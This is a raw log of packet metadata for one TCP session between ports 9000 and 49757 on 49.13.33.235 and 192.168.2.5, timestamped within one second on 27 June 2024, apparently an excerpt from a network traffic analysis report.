Jun 27, 2024 06:44:39.607296944 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.607311010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.607315063 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.607331991 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.607362032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.623833895 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623857021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623872042 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623881102 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.623887062 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623903990 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.623903990 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623919964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623934984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623948097 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.623954058 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.623975039 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.623994112 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.627152920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.627171040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.627187967 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.627242088 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628248930 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628297091 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628331900 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628362894 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628364086 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628390074 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628397942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628416061 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628432989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628441095 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628468037 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628470898 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628515959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628520012 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628554106 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628566980 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628586054 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628599882 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628618002 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628633976 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628650904 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628669977 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628686905 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.628700972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.628741026 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.631678104 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631733894 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631736994 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.631766081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631788015 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.631818056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631819963 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.631851912 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631870031 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.631886959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631907940 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.631922007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631949902 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.631956100 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.631973982 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632004976 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632025003 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632070065 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632076979 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632129908 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632170916 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632179022 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632220030 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632282972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632283926 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632318974 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632327080 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632361889 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632368088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632402897 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.632412910 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.632644892 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.637182951 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637221098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637238026 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.637264967 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.637264013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637315989 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637351036 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637372971 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.637383938 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637408972 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.637418985 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637440920 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.637449026 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.637463093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.637495041 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.648201942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648252010 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648288965 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648297071 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.648315907 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.648324013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648339033 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.648360014 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648381948 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.648394108 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648432970 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648439884 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.648463964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.648505926 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.648515940 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.654112101 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654165983 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654201984 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.654218912 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654225111 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.654253960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654278994 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.654289007 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654321909 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654335976 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.654356956 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654362917 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.654392958 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.654443026 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.658655882 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658690929 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658724070 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658729076 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.658745050 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.658766031 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.658775091 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658827066 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658854961 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.658860922 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658895016 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658905983 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.658926964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658962011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.658962011 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.658998966 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.659013033 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.659033060 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.659065962 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.659082890 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.659157991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.659173965 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.659198999 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.659205914 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.659254074 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.659281969 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.659292936 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.659317970 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689347982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689372063 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689388037 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689404011 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689414024 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689429998 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689435005 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689445972 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689460039 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689461946 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689476013 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689486980 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689501047 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689515114 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689518929 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689534903 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689542055 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689551115 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689559937 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689567089 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689577103 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689583063 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689594984 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689610958 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689619064 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.689630032 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.689827919 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690021992 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690056086 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690105915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690109015 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690141916 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690171957 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690175056 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690190077 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690207958 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690241098 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690248966 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690274954 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690284014 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690315008 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690319061 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690362930 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690635920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690689087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690722942 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690754890 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690769911 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690788984 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690813065 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690823078 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690840960 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690856934 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690865040 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690896988 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690896988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690931082 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690948963 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.690968990 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.690992117 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.691009045 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.691037893 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.691085100 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.691102982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.691149950 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.696233988 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.696285009 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.696288109 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.696322918 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.696346998 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.696376085 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.696383953 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.696409941 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.696429968 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.696443081 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.696476936 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.696476936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.696510077 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.696520090 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.712569952 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712625027 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712634087 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.712656021 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712687016 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.712703943 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.712707996 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712740898 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712750912 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.712776899 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712810993 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712826014 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.712850094 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.712851048 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.712990999 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716574907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716625929 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716660023 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716660023 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716694117 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716711998 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716717005 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716749907 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716801882 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716809988 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716852903 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716860056 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716886997 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716902971 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716921091 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716933012 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716955900 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.716988087 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.716990948 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.717006922 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.717024088 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.717057943 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.717072010 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.717092991 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.717109919 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.717133045 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720570087 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720621109 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720653057 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720654964 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720688105 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720704079 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720721960 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720738888 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720772982 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720776081 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720827103 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720855951 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720887899 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720896959 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720921040 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720923901 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720942020 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.720957994 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.720969915 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.721012115 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.721045017 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.721059084 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.721079111 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.721092939 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.721113920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.721137047 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.721151114 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.726233959 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726288080 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726320982 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.726321936 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726336956 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.726356030 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726362944 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.726391077 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726401091 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.726424932 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726437092 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.726459980 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726495028 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.726516008 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.726547003 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.737092018 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737143993 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737176895 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737234116 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737267971 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737270117 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.737301111 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.737301111 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737335920 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737337112 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.737358093 CEST	49757	9000	192.168.2.5	49.13.33.235
Jun 27, 2024 06:44:39.737371922 CEST	9000	49757	49.13.33.235	192.168.2.5
Jun 27, 2024 06:44:39.737382889 CEST	49757	9000	192.168.2.5	49.13.33.235
